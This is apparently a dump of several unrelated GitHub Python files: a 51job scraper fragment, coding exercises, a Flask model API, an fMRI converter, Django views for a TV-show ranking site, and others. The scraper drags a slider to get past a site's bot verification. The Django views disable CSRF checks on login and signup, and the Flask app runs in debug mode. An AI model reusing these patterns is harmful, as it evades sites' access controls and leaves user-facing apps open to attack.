ActionChains(driver).move_by_offset(xoffset=distance,yoffset=0).perform() #移动distance的距离\n # time.sleep(0.2) \n ActionChains(driver).release().perform() #松开鼠标\n print(\"验证成功\")\n except Exception as e:\n print(\"验证失败\")\n print(e)\n time.sleep(0.25) \n # print(driver.page_source)\n # driver.close()\n return driver.page_source #放回job详情页的元素内容\n\n# url = \"https://jobs.51job.com/hangzhou-yhq/134386898.html?s=sou_sou_soulb&t=0_0\"\n# get_job_detail(url)\n\n\n# # 招聘详情\n # # content = data.xpath('string(/html/body/div[3]/div[2]/div[3]/div[1]/div)') #可以一步执行,直接调用xpath中的string函数\n # contents = data.xpath('/html/body/div[3]/div[2]/div[3]/div[1]/div')\n # # print(\"contents = \",contents,\" type: \",type(contents))\n # # print(\"contents[0] = \",contents[0],\" type: \",type(contents[0]))\n # content = contents[0].xpath('string(.)') #注:xpath提取出来是一个列表,其中的元素才是节点,进行xpath操作\n # # print(\"content = \",content)\n # content = \"\".join(content.split()) #去除空格,先split()再join()\n # # print(\"content = \",content)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# def get_data_test(url): \n# print('get_data_url = ',url)\n# # 初始化etree\n# etree = html.etree\n \n# list_all = []\n# data = request(url)\n# print(\"data = \",data)\n# # 职位名称\n# titles = data.xpath('/html/body/div[3]/div[2]/div[2]/div/div[1]/h1/@title')\n# print(\"titles = \",titles)\n# print(\"titles[0] = \",titles[0])\n# # 公司\n# company = data.xpath('/html/body/div[3]/div[2]/div[2]/div/div[1]/p[1]/a[1]/@title')[0]\n# print(\"company = \",company)\n# # 标签\n# ltype = data.xpath('/html/body/div[3]/div[2]/div[2]/div/div[1]/p[2]/@title')[0]\n# print(\"ltype = \",ltype)\n# print(\"ltype.split() = \",ltype.split())\n# ltype_str = \"\".join(ltype.split())\n# print(\"ltype_str = \",ltype_str)\n# ltype_list = ltype_str.split('|')\n# print(\"ltype_list =\",ltype_list)\n# # 城市地区\n# address = ltype_list[0]\n# # 经验\n# exper = ltype_list[1]\n# # 学历 & 发布日期\n# if len(ltype_list) >= 5:\n# edu = ltype_list[2]\n# dateT = ltype_list[4]\n# else:\n# edu = \"没有要求\"\n# dateT = ltype_list[-1] # 列表最后一项为发布日期\n# print(\"edu = \",edu)\n# print(\"dateT = \",dateT)\n\n# # 薪资\n# salary = data.xpath('/html/body/div[3]/div[2]/div[2]/div/div[1]/strong/text()')\n# print(\"salary = \",salary)\n# if len(salary) == 0:\n# salary_list = [0, 0]\n# else:\n# salary_list = salary_alter(salary[0])\n# print(\"salary_list = \",salary_list)\n\n# # 招聘详情\n# # content = data.xpath('string(/html/body/div[3]/div[2]/div[3]/div[1]/div)') #可以一步执行,直接调用xpath中的string函数\n# contents = data.xpath('/html/body/div[3]/div[2]/div[3]/div[1]/div')\n# # print(\"contents = \",contents,\" type: \",type(contents))\n# # print(\"contents[0] = \",contents[0],\" type: \",type(contents[0]))\n# content = contents[0].xpath('string(.)') #注:xpath提取出来是一个列表,其中的元素才是节点,进行xpath操作\n# # print(\"content = \",content)\n# content = \"\".join(content.split()) #去除空格,先split()再join()\n# # print(\"content = \",content)\n\n# list_all.append([titles, company, address, salary_list[0],\n# salary_list[1], dateT, edu, exper, content])\n# # print(\"list_all = \",list_all)\n# item = [titles, company, address, salary_list[0],\n# salary_list[1], dateT, edu, exper, content]\n# # print(\"item = \",item)\n# time.sleep(0.2)\n \n\n# if __name__ == \"__main__\":\n# # url = 'https://jobs.51job.com/wenzhou/133163777.html?s=sou_sou_soulb&t=0_0'\n# # url = 'https://jobs.51job.com/hangzhou-yhq/134377308.html?s=sou_sou_soulb&t=1_0'\n# url = 'https://jobs.51job.com/hangzhou-xhq/130667331.html?s=sou_sou_soulb&t=0_0'\n# get_data_test(url)\n\n# 执行结果(可以和网页对照着看)\n# it = ['jobs.']\n# data = \n# titles = 产品经理实习生\n# company = 浙江国技互联信息技术有限公司\n# ltype = 温州 | 无需经验 | 大专 | 招1人 | 08-10发布\n# ltype.split() = ['温州', '|', '无需经验', '|', '大专', '|', '招1人', '|', '08-10发布']\n# ltype_str = 温州|无需经验|大专|招1人|08-10发布\n# ltype_list = ['温州', '无需经验', '大专', '招1人', '08-10发布']\n# edu = 大专\n# dateT = 08-10发布\n# salary = ['4.5-6千/月']\n# salary in alter = 4.5-6千/月\n# re_salary in alter = ['4.5', '6']\n# res in alter = [4500.0, 6000.0]\n# salary_list = [4500.0, 6000.0]\n# contents = [] type: \n# contents[0] = type: \n# content =\n# 岗位职责:根据产品规划,协助产品经理设计APP客户端及PC客户端、移动互联网产品的流程、应用、完成产品原型和流程部署。1、协助产品经理完成产品的需求收 \n# 集、流程设计,并持续改进用户体验,跟进产品的设计、开发、测试、上线、运营全过程。2、通过梳理用户反馈、市场反响,持续完善和优化已有产品,研发新的产品, 推 \n# 出更多产品服务。3、负责协调相关部门,配合产品运营,统筹资源进行产品推广。4、产品部门其他相关工作岗位要求:任职要求:1、如果你,热衷互联网,酷爱智能产品如\n# 果你,Axure、Visio、XMind工具玩的都很溜2、如果你,美感敏锐,是个创意奇才如果你,紧跟潮流,掌握潮流前沿3、如果你,集学习力、逻辑力、判断力、抗压力、应变力\n# 、沟通能力于一身4、如果你,还是一枚文艺青年那么,还等什么?赶紧加入我们吧!\n\n# 职能类别:产品助理\n\n# 微信分享\n\n\n\n# content = 岗位职责:根据产品规划,协助产品经理设计APP客户端及PC客户端、移动互联网产品的流程、应用、完成产品原型和流程部署。1、协助产品经理完成产品的需求\n# 收集、流程设计,并持续改进用户体验,跟进产品的设计、开发、测试、上线、运营全过程。2、通过梳理用户反馈、市场反响,持续完善和优化已有产品,研发新的产品,推\n# 出更多产品服务。3、负责协调相关部门,配合产品运营,统筹资源进行产品推广。4、产品部门其他相关工作岗位要求:任职要求:1、如果你,热衷互联网,酷爱智能产品如\n# 果你,Axure、Visio、XMind工具玩的都很溜2、如果你,美感敏锐,是个创意奇才如果你,紧跟潮流,掌握潮流前沿3、如果你,集学习力、逻辑力、判断力、抗压力、应变力\n# 、沟通能力于一身4、如果你,还是一枚文艺青年那么,还等什么?赶紧加入我们吧!职能类别:产品助理微信分享\n# list_all = [['产品经理实习生', '浙江国技互联信息技术有限公司', '温州', 4500.0, 6000.0, '08-10发布', '大专', '无需经验', '岗位职责:根据产品规划,协助产\n# 品经理设计APP客户端及PC客户端、移动互联网产品的流程、应用、完成产品原型和流程部署。1、协助产品经理完成产品的需求收集、流程设计,并持续改进用户体验,跟进 \n# 产品的设计、开发、测试、上线、运营全过程。2、通过梳理用户反馈、市场反响,持续完善和优化已有产品,研发新的产品,推出更多产品服务。3、负责协调相关部门,配 \n# 合产品运营,统筹资源进行产品推广。4、产品部门其他相关工作岗位要求:任职要求:1、如果你,热衷互联网,酷爱智能产品如果你,Axure、Visio、XMind工具玩的都很溜\n# 2、如果你,美感敏锐,是个创意奇才如果你,紧跟潮流,掌握潮流前沿3、如果你,集学习力、逻辑力、判断力、抗压力、应变力、沟通能力于一身4、如果你,还是一枚文艺\n# 青年那么,还等什么?赶紧加入我们吧!职能类别:产品助理微信分享']]\n# item = ['产品经理实习生', '浙江国技互联信息技术有限公司', '温州', 4500.0, 6000.0, '08-10发布', '大专', '无需经验', '岗位职责:根据产品规划,协助产品经理\n# 设计APP客户端及PC客户端、移动互联网产品的流程、应用、完成产品原型和流程部署。1、协助产品经理完成产品的需求收集、流程设计,并持续改进用户体验,跟进产品的 \n# 设计、开发、测试、上线、运营全过程。2、通过梳理用户反馈、市场反响,持续完善和优化已有产品,研发新的产品,推出更多产品服务。3、负责协调相关部门,配合产品 \n# 运营,统筹资源进行产品推广。4、产品部门其他相关工作岗位要求:任职要求:1、如果你,热衷互联网,酷爱智能产品如果你,Axure、Visio、XMind工具玩的都很溜2、如 \n# 果你,美感敏锐,是个创意奇才如果你,紧跟潮流,掌握潮流前沿3、如果你,集学习力、逻辑力、判断力、抗压力、应变力、沟通能力于一身4、如果你,还是一枚文艺青年 \n# 那么,还等什么?赶紧加入我们吧!职能类别:产品助理微信分享']","repo_name":"Acmooon/myJobWeb","sub_path":"test/selenium/模拟登陆chrome copy.py","file_name":"模拟登陆chrome copy.py","file_ext":"py","file_size_in_byte":12050,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6658294203","text":"# 1 - Create a function that takes a list of non-negative integers and strings \n# and return a new list with the strings filtered out.\n\ndef filter_list(listt):\n filteredList = []\n for item in listt:\n if type(item) != str:\n filteredList.append(item)\n return filteredList\n\n\nprint(filter_list([1, \"a\", 2, 3, \"a\", \"Goku\", 8, \"b\"])) # [1, 2, 3, 8]\n\n\n# 2 - Create a function that returns the sum of the two lowest positive numbers \n# given an array of minimum 4 positive integers.\n# No floats or non-positive integers will be passed.\n\ndef sum_two_smallest_numbers(numbers):\n numbers.sort()\n return numbers[0] + numbers[1]\n \nprint(sum_two_smallest_numbers([5, 19, 2, 3, 1, 21])) # 3","repo_name":"paezdavid/python-journey","sub_path":"Week 2/codewars_challenges.py","file_name":"codewars_challenges.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13267091643","text":"import pickle\r\nfrom flask import Flask,request,app,jsonify\r\nimport numpy as np\r\napp=Flask(__name__)\r\nmodel=pickle.load(open('model.pkl','rb'))\r\n@app.route('/predict_api',methods=['POST'])\r\ndef predict_api():\r\n \"\"\"\r\n For direct api call through request\r\n \"\"\"\r\n data=request.json['data']\r\n print(data)\r\n new_data=[list(data.values())]\r\n output=model.predict(new_data)[0]\r\n return jsonify(output)\r\nif __name__==\"__main__\":\r\n app.run(debug=True)","repo_name":"shiva4778/Airfoil-Random-forest","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23254865209","text":"import json\nimport os\nimport numpy as np\nimport nilearn as nl\nimport nilearn.plotting\nfrom math import ceil\nimport numpy as np\n\ndef convert_forrest_gump(root: str,\n alignment: str = 'raw',\n max_chunk_samples: int = 16):\n if alignment == 'raw':\n data_dir = root\n identifier = 'acq-raw'\n elif alignment == 'linear':\n data_dir = os.path.join(root, 'derivatives',\n 'linear_anatomical_alignment')\n identifier = 'rec-dico7Tad2grpbold7Tad'\n elif alignment == 'nonlinear':\n data_dir = os.path.join(root, 'derivatives',\n 'non-linear_anatomical_alignment')\n identifier = 'rec-dico7Tad2grpbold7TadNL'\n else:\n raise ValueError(f\"unknown alignment value '{alignment}'\")\n subjects = [f for f in os.listdir(data_dir)\n if f.startswith('sub-') and len(f) == 6 and int(f[len('sub-'):]) <= 20]\n num_frames = 3599\n out_dir = os.path.join(root, 'converted', alignment)\n try:\n os.makedirs(out_dir)\n except:\n pass\n metadata = {\n 'alignment': alignment,\n 'max_chunk_samples': max_chunk_samples,\n 'subjects': {},\n }\n for subject in subjects:\n print(f'Converting {alignment}/{subject}')\n subj_no = int(subject[4:])-1\n frame_no = 0\n frames = None\n for run in range(8):\n filename = f'{subject}_ses-forrestgump_task-forrestgump_{identifier}_run-0{run+1}_bold.nii.gz'\n filename = os.path.join(\n data_dir, subject, 'ses-forrestgump', 'func', filename)\n img = nl.image.load_img(filename)\n img = img.get_data()\n img = np.transpose(img, (3, 2, 0, 1))\n frames = img if frames is None else np.concatenate(\n (frames, img), axis=0)\n if frames.shape[0] != num_frames:\n print(\n f'WARNING: {subject} has {len(frames)} frames, expected {num_frames}')\n try:\n os.makedirs(os.path.join(out_dir, subject))\n except:\n pass\n num_chunks = ceil(frames.shape[0] / max_chunk_samples)\n chunks = []\n for i in range(num_chunks):\n a = max_chunk_samples * i\n b = min(a + max_chunk_samples, frames.shape[0])\n out_path = os.path.join(out_dir, subject, subject + f'_{i}')\n chunk = frames[a:b, ...]\n chunks.append(chunk.shape[0])\n np.save(out_path, chunk)\n metadata['subjects'][subject] = {\n 'num_frames': frames.shape[0],\n 'chunks': chunks,\n }\n with open(os.path.join(out_dir, 'metadata.json'), 'w') as f:\n f.write(json.dumps(metadata))\n print('Finished converting')\n\n\nif __name__ == '__main__':\n convert_forrest_gump(\n '/data/openneuro/ds000113-download', alignment='linear')\n","repo_name":"thavlik/machine-learning-portfolio","sub_path":"src/dataset/forrestgump_converter.py","file_name":"forrestgump_converter.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"28385198308","text":"lst=[1,2,3,4,5,6,7]\nlst_mul = []\nfor i in lst:\n mul=i*5\n lst_mul.append(mul)\nprint(\"Multiple of element is:\",lst_mul)\n#another method..more effective bcoz less coding steps...\n#called list comprehension\nprint(\" using list_comprehension\")\na=[1,2,3,4,5]\nb=[i*5 for i in a]\nprint(b)\nprint(\"using list_comprehension with if condn\")\nc=[1,2,3,4,5]\nd=[i*5 for i in c if i>2]\nprint(b)","repo_name":"SabithaSubair/Luminar_PythonDjangoProjects_May","sub_path":"collections/list/5timesmul_out.py","file_name":"5timesmul_out.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10221944491","text":"dic = {\r\n 'a' : ['g', 'z'],\r\n 'g' : ['r', 'l', 'u'],\r\n 'z' : ['t'],\r\n 'l' : ['o', 'q']\r\n}\r\n\r\ninitVar = 'a'\r\n\r\n# contoh\r\n# saiki = [z, l, u, t]\r\n# [a, g, z]\r\n\r\ndef yoks(inittial, diccc):\r\n uwis = []\r\n saiki = [inittial]\r\n\r\n while saiki:\r\n nodeSaatIni = saiki.pop(0)\r\n if nodeSaatIni not in uwis:\r\n uwis.append(nodeSaatIni)\r\n if nodeSaatIni in diccc:\r\n for anak in diccc[nodeSaatIni]:\r\n saiki.append(anak)\r\n return uwis\r\n\r\ndef mainnn():\r\n lis = [i for i in input().split()]\r\n print(lis)\r\n\r\nif __name__ == \"__main__\":\r\n print(yoks(initVar, dic))","repo_name":"ivanandika21/Tugas1_KBC","sub_path":"begin.py","file_name":"begin.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2587049302","text":"# -*- coding: UTF-8 -*-\r\n\r\n\r\n\r\n#传入需要统计词频的路径,文件名,和统计词集合\r\ndef word_count(path,filename,str):\r\n file = open(path +'\\\\'+filename,'r+',encoding = \"ISO-8859-1\")\r\n times = 0\r\n for line in file.readlines():\r\n # print(line.count(str))\r\n times = times + line.count(str)\r\n if (not line): # 若读取结束了\r\n break\r\n file.close()\r\n return times\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"HBDforme/Malicious-Javascript-code-dectector","sub_path":"WordCount.py","file_name":"WordCount.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17874373009","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\nfrom elasticsearch import Elasticsearch, RequestsHttpConnection\nfrom requests_aws4auth import AWS4Auth\nimport json\nfrom django.contrib.auth.models import User\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth import authenticate, login\n\nINDEX = \"final_project\"\n\naccess_key = \"AWS_ACCESS_KEY\"\nsecret = \"AWS_SECRET\"\nregion_str = 'us-west-2'\nes_host = \"search-twitter-stream-tithm74hpqrhcvq4pljktoldwy.us-west-2.es.amazonaws.com\"\nauth = AWS4Auth(access_key, secret, region_str, 'es')\nes = Elasticsearch(\n hosts=[{'host': es_host, 'port': 443}],\n http_auth=auth,\n use_ssl=True,\n verify_certs=True,\n connection_class=RequestsHttpConnection\n)\n\nwith open(\"./documents/json_data_complete.txt\", encoding='utf-8') as f:\n movie_data = json.loads(f.read())\n\nwith open(\"./documents/Rank_Result.json\", encoding='utf-8') as f:\n rankings = json.loads(f.read())\n\nwith open(\"./documents/SentiScore2.json\", encoding='utf-8') as f:\n scores = json.loads(f.read())\n\n\nwith open(\"./documents/SentiPerc.json\", encoding='utf-8') as f:\n trends = json.loads(f.read())\n\ndata_by_title = dict()\nfor show in movie_data[\"tv_list\"]:\n data_by_title[show[\"title\"]] = show\n\ndata_by_genre = dict()\nfor show in movie_data[\"tv_list\"]:\n genres = show[\"genres\"]\n for genre in genres:\n l = data_by_genre.get(genre, list())\n d = dict()\n d[\"title\"] = show[\"title\"]\n d[\"description\"] = show[\"plot_summary\"]\n d[\"rank\"] = rankings[show[\"title\"]][\"rank\"]\n d[\"rating\"] = round(rankings[show[\"title\"]][\"rating\"], 2)\n d[\"id\"] = show[\"id\"]\n d[\"poster\"] = show[\"poster\"]\n\n l.append(d)\n data_by_genre[genre] = l\n\n# Create your views here.\ndef index(request):\n return render(request, 'homepage/index.html')\n\ndef get_top(request):\n x = []\n for k, v in data_by_title.items():\n d = dict()\n d[\"title\"] = k\n d[\"description\"] = v[\"plot_summary\"]\n d[\"rank\"] = rankings[k][\"rank\"]\n d[\"rating\"] = round(rankings[k][\"rating\"],2)\n d[\"id\"] = v[\"id\"]\n x.append(d)\n return HttpResponse(json.dumps(x[0]))\n\n\n@csrf_exempt\ndef get_by_genre(request):\n data = request.POST\n query = data.get(\"genre\")\n items = data_by_genre[query]\n items = sorted(items, key=lambda x: x[\"rank\"])\n for i, item in enumerate(items):\n item[\"rank\"] = i+1\n return HttpResponse(json.dumps(items))\n\n@csrf_exempt\ndef get_sentiment_breakdown(request):\n data = request.POST\n query = data.get(\"title\")\n score_val = scores[query]\n return HttpResponse(json.dumps(score_val))\n\n@csrf_exempt\ndef get_data(request):\n data = request.POST\n return HttpResponse(json.dumps(data))\n\n\n@csrf_exempt\ndef get_genres(request):\n genres = [str(x) for x in data_by_genre.keys()]\n return HttpResponse(json.dumps(genres))\n\n@csrf_exempt\ndef add_user(request):\n data = request.POST\n user_name = data[\"username\"]\n password = data[\"password\"]\n email = data[\"email\"]\n u = User.objects.create(\n username=user_name,\n password=password,\n email=email,\n is_active=True\n )\n u.save()\n u.set_password(password)\n u.save()\n return HttpResponse(json.dumps({\"username\": user_name}))\n\n@csrf_exempt\ndef login_user(request):\n data = request.POST\n user_name = data[\"username\"]\n password = data[\"password\"]\n u = authenticate(username=user_name, password=password)\n if u is not None:\n login(request, u)\n return HttpResponse(json.dumps({\"username\":u.username}))\n else:\n return HttpResponse(\"Unsuccessful\")\n\n\n\n@csrf_exempt\ndef test_user(request):\n return HttpResponse(json.dumps(request.user.is_authenticated()))\n\n\n@csrf_exempt\ndef get_ranked(request):\n x = []\n for k, v in data_by_title.items():\n d = dict()\n d[\"title\"] = k\n d[\"description\"] = v[\"plot_summary\"]\n d[\"rank\"] = rankings[k][\"rank\"]\n d[\"rating\"] = round(rankings[k][\"rating\"],2)\n d[\"id\"] = v[\"id\"]\n x.append(d)\n x = sorted(x, key=lambda x: x[\"rank\"])\n return HttpResponse(json.dumps(x))\n\n@csrf_exempt\ndef get_info(request):\n response = {}\n if request.is_ajax():\n data = request.GET\n query = data[\"title\"]\n res = es.search(index=INDEX, size=10000, body={\"query\": {\"match\": {\"text\": query}}})\n response[\"tweets\"] = res[\"hits\"][\"hits\"]\n response[\"description\"] = data_by_title[query][\"plot_summary\"]\n response[\"title\"] = query\n response[\"id\"] = data_by_title[query][\"id\"]\n response[\"Author\"] = data_by_title[query][\"director\"]\n response[\"imdb_data\"] = data_by_title[query]\n return HttpResponse(json.dumps(response))\n else:\n data = request.POST\n query = data.get(\"title\")\n res = es.search(index=INDEX, size=10000, body={\"query\": {\"match\": {\"text\": query}}})\n response[\"tweets\"] = res[\"hits\"][\"hits\"]\n response[\"description\"] = data_by_title[query][\"plot_summary\"]\n response[\"title\"] = query\n response[\"id\"] = data_by_title[query][\"id\"]\n response[\"Author\"] = data_by_title[query][\"director\"]\n response[\"imdb_data\"] = data_by_title[query]\n response[\"rating\"] = rankings[query][\"rating\"]\n response[\"ranking\"] = rankings[query][\"rank\"]\n return HttpResponse(json.dumps(response))\n\n@csrf_exempt\ndef get_username(request):\n if request.user.is_authenticated():\n return HttpResponse(json.dumps({\"username\":request.user.username}))\n else:\n return HttpResponse(json.dumps({}))\n\n@csrf_exempt\ndef get_tweets_for_map(request):\n data = request.POST\n response = {}\n query = data.get(\"title\")\n res = es.search(index=INDEX, size=10000, body={\"query\": {\"match\": {\"text\": query}}})\n tweets = res[\"hits\"][\"hits\"]\n valid_tweets = []\n for tweet in tweets:\n if not \"coordinates\" in tweet[\"_source\"].keys():\n continue\n valid_tweets.append(tweet)\n response[\"description\"] = data_by_title[query][\"plot_summary\"]\n response[\"title\"] = query\n response[\"id\"] = data_by_title[query][\"id\"]\n response[\"Author\"] = data_by_title[query][\"director\"]\n response[\"tweets\"] = valid_tweets\n return HttpResponse(json.dumps(response))\n\ndef get_tweets(request):\n if request.is_ajax():\n data = request.GET\n query = data[\"query\"]\n res = es.search(index=INDEX, size=10000, body={\"query\": {\"match\": {\"text\": query}}})\n return HttpResponse(json.dumps(res[\"hits\"][\"hits\"]))\n\n\n@csrf_exempt\ndef get_sentiment_trends(request):\n data = request.POST\n query = data.get(\"title\")\n return HttpResponse(json.dumps(trends[query]))\n\ndef get_tweets_distance(request):\n '''\n This function returns the tweets using a particular search query_term and\n a longitude and latitude\n :param request: Django Request object\n :return: Returns an HTTP response of the tweet results\n '''\n if request.is_ajax():\n data = request.GET\n dist = data[\"distance\"]\n lat, long = json.loads(data[\"query\"])\n query_term = data[\"query_term\"]\n d = {\"query\": {\n \"filtered\": {\n \"query\": {\n \"match\": {\"text\": query_term}\n },\n \"filter\": {\n \"geo_distance\": {\n \"distance\": dist,\n \"tweet.coordinates\": {\n \"lat\": lat,\n \"lon\": long\n }\n }\n }\n }\n }\n }\n res = es.search(index=INDEX, size=10000, body=d)\n return HttpResponse(json.dumps(res[\"hits\"][\"hits\"]))\n","repo_name":"gaur51/-python-TVshowratingusingtweets","sub_path":"Backend (Django)/homepage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11401227039","text":"#Задание 11\n\"\"\"\nДано натуральное число A > 1. Определите, каким по\nсчету числом Фибоначчи оно является, то есть\nвыведите такое число n, что φ(n)=A. Если А не\nявляется числом Фибоначчи, выведите число -1.\n\"\"\"\nimport os\nos.system('CLS')\nnum = int(input(\"Введите неотрицательное число: \"))\nferstNum = 1\nsecondNum = 0\ni = 1\nfibonachiNum = 0\n\nwhile i <= num + 1:\n if fibonachiNum == num:\n break\n fibonachiNum = ferstNum + secondNum\n ferstNum = secondNum\n secondNum = fibonachiNum\n i += 1\nelse:\n i = -1\nprint(i)","repo_name":"Angiy555/PythonKaa","sub_path":"Sem2Task11/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13023431379","text":"import numpy as np\n\nfrom extensions.middle.ONNXRNNSequenceNormalize import ONNXRNNSequenceNormalize\nfrom extensions.middle.permute_tensor_iterator import TransposeTensorIteratorLSTM\nfrom mo.graph.graph import Graph, Node\nfrom mo.middle.passes.eliminate import remove_op_node_with_data_node\nfrom mo.middle.replacement import MiddleReplacementPattern\n\n\nclass ReverseTensorIteratorLSTM(MiddleReplacementPattern):\n \"\"\" Fuses Reverse operations around TI: ReverseSequence --> TI --> ReverseSequence.\n\n WARNING This transformation is limited to support of very special case of TI but\n code doesn't check all the cases.\n \"\"\"\n\n enabled = True\n\n def run_after(self):\n return [\n ONNXRNNSequenceNormalize,\n TransposeTensorIteratorLSTM,\n ]\n\n def run_before(self):\n from extensions.middle.pass_separator import MiddleFinish\n return [MiddleFinish]\n\n @staticmethod\n def is_fusable_reverse_sequence(node: Node):\n sequence_lengths = node.in_port(1).data.get_value()\n assert sequence_lengths is not None\n input_shape = node.in_port(0).data.get_shape()\n assert input_shape is not None\n\n seq_len = input_shape[node.seq_axis]\n return np.all(sequence_lengths == seq_len)\n\n def pattern(self):\n return dict(\n nodes=[\n ('input', dict(kind='data')),\n\n ('const', dict(type='Const')),\n ('const_d', dict(kind='data')),\n\n ('direct_reverse', dict(op='ReverseSequence')),\n ('input_reversed', dict(kind='data')),\n ('init_hidden', dict(kind='data')),\n\n ('ti', dict(kind='op', op='TensorIterator')),\n\n ('output_reversed', dict(kind='data')),\n\n ('const_1', dict(type='Const')),\n ('const_1_d', dict(kind='data')),\n\n ('inverse_reverse', dict(op='ReverseSequence')),\n ('output', dict(kind='data')),\n ],\n edges=[\n ('input', 'direct_reverse', {'in': 0}),\n ('const', 'const_d'),\n ('const_d', 'direct_reverse', {'in': 1}),\n ('direct_reverse', 'input_reversed'),\n\n ('input_reversed', 'ti', {'in': 0}),\n ('init_hidden', 'ti', {'in': 1}),\n ('ti', 'output_reversed', {'out': 0}),\n\n ('output_reversed', 'inverse_reverse', {'in': 0}),\n ('const_1', 'const_1_d'),\n ('const_1_d', 'inverse_reverse', {'in': 1}),\n ('inverse_reverse', 'output'),\n ]\n )\n\n def replace_pattern(self, graph: Graph, match: dict):\n ti = match['ti']\n direct_reverse = match['direct_reverse']\n inverse_reverse = match['inverse_reverse']\n\n assert direct_reverse.seq_axis == inverse_reverse.seq_axis\n assert direct_reverse.batch_axis is None and inverse_reverse.batch_axis is None or \\\n direct_reverse.batch_axis == inverse_reverse.batch_axis\n\n if not self.is_fusable_reverse_sequence(direct_reverse) or \\\n not self.is_fusable_reverse_sequence(inverse_reverse):\n # we can not merge ReverseSequence with ot equal sequences\n return\n\n # Modify stride in TI\n for port_map in [ti.input_port_map, ti.output_port_map]:\n for port in port_map:\n if 'axis' in port and port['axis'] is not None and 'external_port_id' in port:\n assert port['axis'] == direct_reverse.seq_axis, \\\n 'axis == {} != {} == direct_reverse.seq_dim'.format(port['axis'], direct_reverse.seq_axis)\n if 'stride' not in port or port['stride'] is None:\n port['stride'] = 1\n assert port['stride'] in [-1, 1]\n port['stride'] = -port['stride']\n if port['stride'] == -1:\n port['start'] = -1\n port['end'] = 0\n elif port['stride'] == 1:\n port['start'] = None\n port['end'] = None\n\n # Remove reverses\n remove_op_node_with_data_node(graph, direct_reverse)\n remove_op_node_with_data_node(graph, inverse_reverse)\n","repo_name":"Namptiter/OpenVINO-Darknet-YOLOv3","sub_path":"model_optimizer/extensions/middle/reverse_tensor_iterator.py","file_name":"reverse_tensor_iterator.py","file_ext":"py","file_size_in_byte":4320,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"1911816255","text":"\"\"\" \nplotting the results frome variance_analysis.py\n\n\"\"\"\n\nimport sys\n\nimport cartopy.crs as ccrs # for the subplot mosaic of maps\nimport matplotlib.pyplot as plt\n\n# custom plotting defaults\nimport mpl_defaults\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport ternary\nfrom matplotlib.colors import LinearSegmentedColormap\nfrom matplotlib.patches import Patch\nfrom rich.console import Console\nfrom rich.prompt import Prompt\nfrom rich.theme import Theme\n\ncustom_theme = Theme(\n {\"main\": \"bold gold1\", \"path\": \"bold steel_blue1\", \"result\": \"magenta\"}\n)\nconsole = Console(theme=custom_theme)\n\nexport_path = Prompt.ask(\"[bold gold1] Enter the path to where overall results should be exported[bold gold1]\")\nexport_path = export_path.replace('\"',\"\")\n\ndata_path = Prompt.ask(\"[bold gold1] Enter the folder path to where transformed data are stored[bold gold1]\")\ndata_path = data_path.replace('\"',\"\") \n\n\ntraining_df = pd.read_excel(\n f\"{data_path}\\B4_training_data_transformed_v2.xlsx\"\n).set_index('volcano')\ntrace_df = pd.read_excel(f\"{data_path}\\\\vcs_rfe_variance_results.xlsx\").set_index('eruption')\nmajor_df = pd.read_excel(f\"{data_path}\\\\vcs_major_variance_results.xlsx\").set_index('eruption')\ntrace_df.insert(0,'type','trace_elements')\nmajor_df.insert(0,'type','major_elements')\n\n\nvolcanoes = trace_df.loc[:,'Adagdak':'Veniaminof'].columns.tolist()\neruptions = trace_df.index.unique().tolist()\n\nlats = training_df.loc[volcanoes]['latitude'].unique()\nlons = training_df.loc[volcanoes]['longitude'].unique()\n\n\ncombined_df = pd.concat(\n [\n trace_df.loc[:, [\"type\", \"Target\", \"Prediction\"] + volcanoes],\n major_df.loc[:, [\"type\", \"Target\", \"Prediction\"] + volcanoes],\n ]\n)\n\n\ncombined_df_melted = (\n combined_df.reset_index()\n .melt(id_vars=[\"eruption\", \"Target\", \"Prediction\", \"type\"], value_vars=volcanoes)\n .set_index(\"eruption\")\n)\n\n########################################################################\n########################## MANUSCRIPT FIGURE 7 #########################\n########################################################################\n\nfig,ax = plt.subplots(3,1,figsize = (8,12))\naxes = ax.ravel()\neruptions = ['GrayPtDacite','Churchill_C2','ELVC_C1']\nlabels = [\"Gray point dacite\", \"C2\", \"C1\"]\nlocations = [6,5,7]\n\n\nfor eruption, a,label,location in zip(eruptions,axes,labels,locations):\n sns.boxplot(\n data=combined_df_melted.loc[eruption, :],\n x=\"variable\",\n y=\"value\",\n hue=\"type\",\n width=0.75,\n boxprops=dict(edgecolor=\"k\", linewidth=1, alpha=1),\n medianprops=dict(color=\"k\", lw=1),\n capprops=dict(linewidth=0),\n whiskerprops=dict(color=\"k\", lw=0.5, linestyle=\"--\"),\n showfliers=False,\n ax=a,\n )\n\n xticklabels = a.get_xticklabels()\n if a == axes[2]:\n\n a.set_xticklabels(xticklabels, rotation=90)\n else:\n a.set_xticklabels([])\n 